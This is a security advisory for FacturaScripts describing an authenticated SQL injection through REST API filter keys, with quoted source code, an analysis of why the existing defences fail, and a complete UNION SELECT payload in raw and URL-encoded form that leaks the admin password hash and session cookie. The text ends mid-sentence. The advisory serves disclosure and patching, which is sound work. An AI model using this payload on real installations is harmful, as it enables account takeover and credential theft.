GHSA-5qmh-x653-g8qj FacturaScripts: Authenticated SQL injection in the FacturaScripts REST API filter parameter via parenthesis bypass in `Where::sqlColumn`

• Packagist facturascripts/facturascripts: < 2026.2 → fixed in 2026.2

Summary > Live PoC verified 2026-04-30 against a stock FacturaScripts master at `127.0.0.1:8081`. A scoped `ApiKey` with `fullaccess=0` and an `ApiAccess` row granting `allowget=1` on the `clientes` resource only (no other rights, no UI session, no admin) issued one `GET /api/3/clientes?filter[(0)UNION%20SELECT%20...]=` request and the response body contained the raw bcrypt hash of the admin user's password (`$2y$12$sLfA/XCqnjqLmYJwK.2V7eUHrHTHcQfkTYYfs1.lxX3OHrsmmkMGO`) and the admin's `logkey` cookie value. The leaked `logkey` was injected into a fresh cookie jar and `GET /AdminPlugins` returned 200 with the admin plugin management UI. End-to-end account takeover from a read-only token with no CSRF, no second factor, no rate-limit interaction beyond the default 5-incident IP throttle. `Core/Where.php::sqlColumn()` exempts any field name that contains both `(` and `)` from identifier escaping. The two API filter builders (`APIModel::getWhereValues` and `ApiAttachedFiles::getWhereValues`) feed the raw request key (`$_GET['filter'][$key]`) straight into `new DataBaseWhere($key, $value, '=', ...)`. When the model's `all()` reaches `Where::multiSqlLegacy` -> `Where::sql()` -> `Where::sqlColumn($key)`, the parenthesis branch returns the attacker-controlled string unmodified. The string is concatenated into `WHERE = ''`, which an attacker can pivot to `WHERE (0)UNION SELECT ... FROM users WHERE(nick='admin')-- = 'value'`, leaking arbitrary columns from any table. Details the API filter pipeline never validates filter keys `Core/Lib/API/APIModel.php:300-322` (`listAll`): ```php protected function listAll(): bool { $filter = $this->request->query->getArray('filter'); $limit = $this->request->query->getInt('limit', 50); $offset = $this->request->query->getInt('offset', 0); $operation = $this->request->query->getArray('operation'); $order = $this->request->query->getArray('sort'); // obtenemos los registros $data = []; $hidden = $this->model->getApiFieldsToHide(); $where = $this->getWhereValues($filter, $operation); foreach ($this->model->all($where, $order, $offset, $limit) as $item) { $data[] = $this->filterHidden($item->toArray(true), $hidden); } ... ``` `Core/Lib/API/APIModel.php:231-298` (`getWhereValues`): ```php private function getWhereValues($filter, $operation, $defaultOperation = 'AND'): array { $where = []; foreach ($filter as $key => $value) { $field = $key; // (1) raw request key $operator = '='; switch (substr($key, -3)) { // suffix routing only case '_gt': $field = substr($key, 0, -3); $operator = '>'; break; case '_is': $field = substr($key, 0, -3); $operator = 'IS'; break; case '_lt': $field = substr($key, 0, -3); $operator = '` route and the dedicated `/api/3/attachedfiles` route. `DataBaseWhere::getSQLWhere` now delegates to `Where::multiSqlLegacy` `Core/Base/DataBase/DataBaseWhere.php` is marked `@deprecated` and the active code path runs through `Core/Where.php::multiSqlLegacy` (lines 151-199), which converts each legacy `DataBaseWhere` instance to a `Where`: ```php if ($item instanceof DataBaseWhere) { $dbWhere = new self($item->fields, $item->value, $item->operator, $item->operation, $item->useField ?? false); ... $sql .= $dbWhere->sql(); ... } ``` `Where::sql()` (lines 316-403) finally calls `self::sqlColumn($field)` for the identifier in every operator branch, including the `=` branch the attacker reaches. `Where::sqlColumn` returns parenthesised inputs untouched `Core/Where.php:407-425`: ```php private static function sqlColumn(string $field): string { // si lleva paréntesis, no escapamos if (strpos($field, '(') !== false && strpos($field, ')') !== false) { return $field; // (3) raw concatenation } // si empieza por integer, hacemos el cast if (substr($field, 0, 8) === 'integer:') { return self::db()->castInteger(substr($field, 8)); } // si empieza por lower, hacemos el lower if (substr($field, 0, 6) === 'lower:') { return 'LOWER(' . self::db()->escapeColumn(substr($field, 6)) . ')'; } return self::db()->escapeColumn($field); } ``` The intent of the early-return appears to be supporting expression columns like `LOWER(col)` and `UPPER(col)` in `select`, `where`, and `groupBy` builder calls, but the check is purely string presence: any input containing both `(` and `)` is whitelisted, with no constraint on what the string actually is. The same exemption affects every consumer that routes through `Where::sqlColumn`, including `select()`, `whereLike()`, `whereIn()`, etc. (`Core/Where.php:317-405`). what an attacker submits Reaching the sink requires the two characters `(` and `)` somewhere in the filter key. The attacker therefore passes: ``` filter[(0)UNION SELECT IFNULL(password,2),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 FROM users WHERE(nick='admin')-- ]= ``` URL encoded for HTTP transport: ``` filter%5B%280%29UNION%20SELECT%20IFNULL%28password%2C2%29%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2C28%2C29%2C30%2C31%2C32%20FROM%20users%20WHERE%28nick%3D%27admin%27%29--%20%5D= ``` The `clientes` table has 32 columns; the UNION mirrors that count so the database accepts the merged result set. The trailing `-- ` swallows the rest of the framework's appended SQL (`= '' LIMIT 50 OFFSET 0`). The result is one record whose first column is the admin's password hash, returned in the JSON body's `cifnif` key (the first column in the original query's `SELECT *`). why the `getApiFieldsToHide()` defence does not apply Commit `736b811` added `getApiFieldsToHide()` to the `User` model, which redacts `password`, `logkey`, and `two_factor_secret_key` from the JSON serialiser: ```php public function getApiFieldsToHide(): array { return ['password', 'logkey', 'two_factor_secret_key']; } ``` This works for `GET /api/3/users` requests by a fullaccess token: the model loads, then `filterHidden()` removes the columns. The protection is bound to the model class that is being serialised. The SQL-injection path returns rows in the `clientes` model serialiser, so the leaked column lands in `cifnif` (or any other column the attacker chooses for the first UNION position) and is never put through `Cliente::getApiFieldsToHide()` (which does not include `password`/`logkey` because the `clientes` table has no such columns). The deny-list is irrelevant. why the `sort` (ORDER BY) hardening does not apply either Commit `1b6cdfa` added strict regex validation to `DbQuery::orderBy` (`Core/DbQuery.php:289-307`), constraining parenthesised input to `RAND() | RANDOM() | LOWER(...) | UPPER(...) | CAST(... AS ...) | COALESCE(..., literal)`. That fix correctly walls off SQL injection in t…